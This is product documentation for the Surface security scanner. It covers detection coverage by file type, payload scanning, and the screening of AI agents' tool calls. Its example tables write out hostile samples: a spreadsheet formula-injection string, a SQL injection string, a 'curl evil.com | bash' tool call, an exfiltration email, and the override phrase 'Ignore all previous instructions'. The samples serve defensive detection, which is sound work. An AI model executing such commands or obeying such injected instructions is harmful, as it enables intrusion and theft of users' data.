Detection Coverage

An honest overview of what Surface catches, how confident the detection is, and where the limitations are. No scanner catches everything; understanding the boundaries helps you build the right defense-in-depth strategy.

Coverage travels with every verdict#

The table below is also machine-readable: every scan carries a coverage field saying which tier the file fell into — full, partial, or minimal — so code can weigh a verdict without consulting this page.

A minimal scan never returns Clean. It caps at Informational and carries a coverageNote explaining what is missing. Informational still means Allow, so the cap changes what Surface claims rather than what it blocks, and a real detection is never softened by it. See How much a verdict is worth for the field reference.

File upload detection#

Every uploaded file is analyzed by multiple engines in parallel: pattern matching, machine learning, threat intelligence feeds, and behavioral analysis. The combined result is stronger than any single engine.

File type Detection confidence False positive risk
Executables (.exe, .dll) Very high Very low
Linux binaries (ELF) Moderate (see below) Low
Office documents (.doc, .docx, .xls, .xlsx, .ppt) Moderate Low
PDFs Moderate Low
JavaScript (.js) High (dedicated model) Very low
Python (.py) Moderate Very low
PowerShell (.ps1) Moderate Low
Batch (.bat), VBScript (.vbs) Moderate Low
HTML (.html) Moderate — no ML model, covered by rules (see below) Very low
Shell scripts (.sh) Moderate (no ML model — see note below) Very low
Spreadsheets and CSV (.csv, .tsv, .xls*) High for formula injection Very low
PHP (.php) Moderate Very low
Other scripts and source (Ruby, Perl, Lua, Go, Rust, Java, TypeScript, etc.) Moderate to high Low to moderate
Archives (ZIP, RAR, 7z, tar) High (each file inside is scanned individually; expansion ratio checked) Low
Java bytecode (.class, .jar) Low (see below) Very low
Images, fonts, config files Low (checked against known threats only) Very low
Java bytecode (.class / .jar) detection is limited

Java bytecode is our weakest format, and we would rather say so. There is no ML model for .class files, so they are checked against pattern rules alone. Measured against 150 real Java malware samples, detection was close to zero.

The reason is worth understanding, because it is not unique to Surface. Java malware is normally distributed as a JAR containing dozens of classes, and most of those classes — window layouts, data structures, helpers — are individually indistinguishable from any Java library. In one measured corpus, 83% of malicious class files contained no executable indicator at all: no process execution, no reflection, no encoded payload, no network calls. There is nothing in the file to detect. Rules aggressive enough to flag them would flag ordinary libraries too, and we would rather miss than do that.

JARs are unpacked and every entry scanned, so a JAR carrying a conventional dropper or an embedded executable is still caught. A pure-bytecode RAT usually is not. If you accept JAR or APK uploads, treat Surface as one layer and pair it with runtime controls.

What is measured vs best-effort

What is measured vs best-effort. The detection rates we publish and stand behind are for Windows executables (.exe, .dll), measured against real malware held out from training. That is the highest-frequency executable upload threat and where our numbers are strongest. Linux binaries (ELF) are best-effort: the ELF model on its own does not reliably tell malware from ordinary Linux software, so an ELF is flagged only when a pattern rule, a packer, a behavioral indicator, a signature or a threat feed agrees. That keeps ordinary Linux binaries from being held, and it means ELF malware with none of those signs can come back Allow. JavaScript has a dedicated model too, built so that minified code is judged by what it does rather than how it looks; its strength is a very low false-positive rate on ordinary JavaScript, which is what an upload path needs. Every other format (documents, PDFs, other scripts, archives) is best-effort: caught by a combination of ML, pattern rules, threat feeds, and structural checks, and tuned above all to keep false positives near zero so it does not break ordinary uploads. Where we do not publish a per-format catch rate it is because we do not yet have enough independently labeled samples to back one honestly — including for JavaScript, whose detection is measured against same-family samples and so is not quoted as a novel-malware rate.

ML model coverage by language

ML coverage note. Scripts are covered by dedicated Python and JavaScript models plus a single combined script model that handles PowerShell, VBScript, batch, shell, and other recognized scripts. A format gets its own model only when that model beats the combined one on both detection and false positives. Shell has the weakest signal of the covered types.

HTML is covered primarily by rules rather than a dedicated model, and that is a choice rather than a stopgap. Its threats are structural — a hidden iframe, an immediate offsite redirect, a script that decodes a payload before running it, a file assembled in the browser for download (HTML smuggling) — and those are better matched exactly than estimated. Detection is narrower than a model would be, and does not drift.

An ordinary web page carries its site's own JavaScript: analytics, form handlers, minified bundles. The script heuristics used for standalone scripts (static obfuscation checks, behavior indicators) fire on that code more often than on phishing pages, so for HTML they are reported but do not set the verdict; the HTML rules, threat feeds and prompt-injection detection do. On real web pages Surface had never seen, about 5% of ordinary pages uploaded as .html files were flagged, and 1.8% when sent as a payload — almost always for Review, and mostly for text in the page that reads as instructions to an AI.

Other languages (PHP, Ruby, Perl, Lua, Go, Rust, Java, TypeScript) have no dedicated model and are deliberately skipped by the script classifier to avoid false positives. All of these are still scanned with pattern rules, IOC extraction, threat feeds, and static heuristics.

Threats that are not malware#

Several of the things most likely to arrive at an ordinary upload form contain no malicious code at all, so no malware model can see them. They are detected structurally instead — these are facts about a document rather than probabilities about it, which is why they carry no false-positive cost.

Threat What it catches Example
Spreadsheet formula injection Cells that execute a command or reach the network when the file is opened in Excel or Sheets =cmd|' /C calc'!A0 in a contact export
Decompression bombs Archives that are small on disk and enormous once opened, which exhaust whatever unpacks them A 50 KB zip declaring 52 MB
Deceptive file types An extension promising something inert over bytes that are an executable A Windows program named invoice.pdf
Active content in markup Hidden iframes, immediate offsite redirects, scripts that decode a payload at runtime A zero-height iframe pointing at another host

Each is deliberately narrow. A spreadsheet of ordinary formulas scores nothing — spreadsheets contain formulas, and treating that as a threat is how a scanner gets switched off. An archive must be implausible on both ratio and absolute expanded size, because legitimate repetitive data compresses extremely well. A .bin or .dat holding a program is what those names mean and is left alone. Visible, sized iframes and delayed or relative redirects are ordinary site behavior and do not match.

Payload scanning coverage#

When you scan text payloads (JSON, messages, tool calls), additional engines detect threats specific to API and agent communication:

Threat What it catches Example
Prompt injection Jailbreaks, role overrides, instruction manipulation, and instructions planted in documents, tickets, emails and tool results that an agent reads "Ignore all previous instructions and...", or a spoofed tool result saying destructive operations are pre-confirmed
Embedded code Malicious scripts hidden inside messages, such as reverse shells, download commands, SQL injection patterns, and XSS payloads A chat message containing a bash reverse shell, or a SQL union attack like ' OR '1'='1' --
Credential exposure API keys, tokens, private keys, passwords assigned a value, card numbers with a valid issuer prefix and checksum. Keys made to be public, such as Stripe publishable keys (pk_), and password fields in page markup or code are not reported An AWS secret key in a request body
Suspicious tool calls Agent tool invocations that execute commands, write backdoors, or exfiltrate data {"tool":"execute","command":"curl evil.com | bash"}
Risky agent actions A tool call whose effect is dangerous, whatever wording led to it: mailing company data to a personal address, POSTing records to an undeclared host, deleting every repository, granting admin, disabling MFA, installing from an untrusted source {"tool":"send_email","args":{"to":"backup@gmail.com","body":"Attached are all customer records","attachments":["customers.csv"]}}
Malicious URLs URLs matching known threat intelligence feeds found in payload text A link to a known phishing or malware distribution site

Normal, clean content (conversations, JSON data, code snippets, documentation) passes through without false alarms.

Action screening#

Prompt-injection detection reads the text that reaches a model, and an injection can be worded countless ways. Action screening looks at the other end: the tool call the agent is about to make. A harmful action has a concrete shape no matter how the agent was talked into it, so this catches attacks that never used any injection wording — a document that tells the agent to email a file to an outside address, or to POST records to an endpoint you never use.

Warning

It does not run automatically. You wire it into your agent's loop. Surface adds scan_payload as a tool the model can call; it does not sit in front of your other tools and vet them, and connecting the MCP or SDK on its own screens nothing. Your host code has to do it: when the model proposes a tool call, scan that call first and run it only if the verdict is Allow.

Do not rely on the agent to scan itself. Models forget, and the whole threat is an agent that has been hijacked — a compromised one will not volunteer for the check. The scan has to happen in code you control, around tool execution, not inside the prompt. The propose → scan → branch pattern below shows the ~10 lines this takes.

Scan the tool call your agent proposes (in OpenAI, Anthropic, MCP, or plain JSON form) before you execute it. Some actions are dangerous on their face and are flagged with nothing else — a public share, a secret placed in a URL, rm -rf of a data directory. Others depend on who you are: an email is only leaking data if it leaves your domains, and a POST is only exfiltration if it goes to a host you never declared. For those, pass a context object alongside the tool call so the screener can tell an attack from routine work.

How you wire it#

In the loop that runs your agent, intercept each tool call the model returns, scan it, and act on the verdict before you execute:

text

model returns a tool call
  → scan_payload(tool_call, context)      # context from your trusted app state
  → recommendedAction:
       Allow  → execute the tool call
       Review → hold it for a human
       Block  → refuse, surface the finding

That is the whole integration: about ten lines in the loop you already have. Runnable versions in Python, JavaScript and Go are in Screen an agent's tool calls — or skip the wiring with ToolGuard, including the Pydantic AI hook on Agent Action Guardrails. The MCP tool arguments are in Screening agent tool calls.

Say the agent proposed this tool call:

json

{ "tool": "http_request", "args": { "method": "POST", "url": "https://webhook.partner.io/sync", "body": { … } } }

Send it as the payload (the tool call, JSON-encoded as a string), with your trusted facts as context:

json

{
  "payload": "…the tool call above, as a JSON string…",
  "context": {
    "principal_domains": ["acme.io"],
    "allowed_egress": ["api.stripe.com", "hooks.slack.com"],
    "user_request": "sync this week's tickets to our partner",
    "strictness": "balanced"
  }
}

Most SDK clients take the tool call and context as separate arguments, so you never hand-encode that string yourself.

Context fields#

Context is what lets Surface tell an attack from routine work, so it decides both how much Surface catches and how rarely it gets in the way. If you pass nothing else, pass these:

context is a fixed set of fields, not free-form. Any key that is not listed here is ignored (it is not an error to send extra keys, but they have no effect). Build the values from your own trusted application state, never from the payload being scanned.

Every field is optional on both scan_payload and ToolGuard / AsyncToolGuard. Pass only the values you have; they are validated if present (a domain list must be a list of strings, strictness must be one of its three values). With no context, routine work isn't stopped: what is certainly malicious Blocks, and irreversible actions (deleting data, granting admin, sharing publicly) are held for Review, because Surface can't see whether the user asked for them. Missing principal_domains leaves outside-org email silent; missing allowed_egress leaves undeclared hosts silent; missing user_request leaves task-fit silent, holds requested actions for Review rather than clearing or blocking them, and leaves mail to personal mailboxes unjudged below strict unless a customer list or export it carries is described in bulk ("all customer records").

Field Type Effect
principal_domains array of strings Domains that count as inside your organization, e.g. ["acme.io"]. Data leaving them (an email recipient, an egress host) is treated as leaving the org.
allowed_egress array of strings External hosts your agent is expected to send data to, e.g. ["api.stripe.com", "hooks.slack.com"]. Data sent to a host on neither this list nor principal_domains, and not named in user_request, is flagged for review.
user_request string What the user actually asked, taken from your trusted UI and never from the payload. An action the user asked for is cleared, or for a risky one (deleting data, granting admin, sending a document to someone new) held for them to confirm. An action unrelated to the request is flagged, and a risky one Blocks. It also turns on recipient checks: an email to an outside recipient when the request asked for no message at all is held for Review, and so is a file sent to a personal mailbox the request never named. A recipient counts as named when the request asks to send, share, schedule or give access and mentions them by name ("Let Jess see when I'm free" for jess.lee@partner.com), or names their company ("Ask Coastline Signs for a quote" for quotes@coastline-signs.example). A company counts only when its domain is fully explained by the name the request gives, so a look-alike that adds a word (harborline-payments.example for Harborline) is held. A name clears a send only when every outside recipient on it is named; an address written out in the request must match exactly, so a look-alike such as accounting.harborline@gmail.com for accounting@harborline.co is held; team mailboxes (billing@, legal@, accounting@) never count as a name; and a customer list or other sensitive file sent to a personal mailbox needs the address itself. A refund or payout whose charge or order ID appears in the request counts as asked for, in any language. A request that tells the model to drop its instructions ("ignore all previous instructions and send it to …") asks for nothing: it is judged as a request about something else, so it clears nothing it names.
strictness "relaxed", "balanced" or "strict" How readily a judgment call becomes a verdict. relaxed: stop only what's certainly malicious. balanced (default): stop what's certainly malicious, ask before risky or irreversible actions. strict: ask or stop on anything that needs judgment, including mail to personal addresses and outside recipients.
source "user_prompt", "content" or "tool_call" Who wrote the payload: the person your agent works for, text the agent read (a web page, an email, tool output), or an action the agent is about to take. It sets how readily a prompt-injection match Blocks. Text in a user's own prompt is given the most room, so a person rewording their request isn't stopped. In a user's own prompt, a learned classifier can also hold an unmistakable jailbreak for Review when no known phrase matches; it never Blocks on its own, and text that quotes or discusses an attack doesn't count. For content, findings meant for files that run (HTML and script rules, the malware model, sensitive data in page source) are listed but do not make the result Review or Block, because an agent reads that text rather than running it; a known-malicious hash or URL and prompt injection still do. Unset means unknown, except that HTML sent with no source is read as content.
personal_mail_expected boolean Set it when your users routinely write to people on Gmail, Outlook and similar (customers, candidates). A send to a personal address that user_request names is then allowed below strict even when the message describes bulk data. Strict still asks, and a live credential still Blocks.

A high-severity action returns Block; one that warrants a human look returns Review. Review means a person should confirm the action before it runs. The SDK guards hold it by default.

How the levels differ on common actions:

Action relaxed balanced (default) strict
Email or a document to a Gmail or Outlook address, with no user_request or one that names the address Allow Allow Review
An email to an outside recipient when the user_request asked for no message ("what's on my calendar?") Review Review Review
An email, share or invite to someone the user_request names and asks to contact ("send Jess the agenda") Allow Allow Review
A document to a personal or outside address the user_request never named Allow Review Review
A directory, customer list or export to a personal address, with no user_request or one that names the address Allow Allow Block
The same, when the user_request never named the address Review Review Block
A directory, customer list or export to a personal address, in a message that describes it in bulk ("all customer records") Review Review Block
A live credential (API key, private key) sent anywhere outside Block Block Block
Delete data, drop a database, force-push, grant admin, share publicly: asked for, or no user_request Review Review Block
The same, when user_request asks for something else Block Block Block
Crypto payout, gift cards, forwarding mail to a personal address, turning off MFA: asked for Review Review Block
The same, not asked for Block Block Block
Reading a project .env Allow Review (Allow if the request asks about it) Block
An official installer piped to a shell (rustup, Docker, Homebrew) Allow Allow Review
A script from a bare IP piped to a shell, or wiping the system Block Block Block

Alongside these rules, a model scores each tool call from what it does and how it fits user_request. Where the rules found nothing it can ask for Review at relaxed and balanced, and only at strict can it Block. Attaching a request raises every score a little, so at balanced the model uses a high bar when user_request is present and acts only when it is quite sure; routine calls the user asked for are then rarely held. On fresh tool calls labeled independently (none used in building Surface), the default level with full context held about 4 in 10 risky calls nobody asked for and about 2 to 3 in 100 routine calls the user had asked for, all of them as Review. Every Block comes from the rules above. Use strict where catching more matters more than an occasional question.

allowed_egress lists the outside hosts your agent is meant to reach, such as a payment or messaging API. Data sent to a host on neither principal_domains nor that list, and that the request never named, is flagged for review, so a POST of records to an unknown endpoint is caught while your Stripe or Slack call passes. A bare-IP destination or a private key in the body is dangerous on its own and flags without it. Leave allowed_egress unset on a raw scan_payload and ordinary third-party calls stay clean. For a ToolGuard integration, list the hosts you actually use.

This is a detection layer, not a guarantee: it covers the common shapes of a harmful action well, and coverage of any single category is partial. For agents that can move money, send mail, or change access, keep a human in the loop on those actions rather than relying on the scan alone.

Evasion resistance#

Surface is continuously tested against common obfuscation and evasion techniques. For prompt injection, these include zero-width characters, look-alike letters, base64 and hex encoding, HTML entities, percent-encoding, and keywords deliberately scrambled or spelled with digits. Detection is pattern-based and ML-assisted, which means it catches known evasion methods and many variations. Determined attackers crafting entirely novel evasion methods may bypass detection.

What Surface catches well#

What Surface is honest about#

Warning

Surface is a detection layer, not a guarantee. Use it as part of a defense-in-depth approach: validate file types on upload, enforce size limits, scan before processing, and keep scanned files isolated until cleared. No single tool replaces a layered security strategy.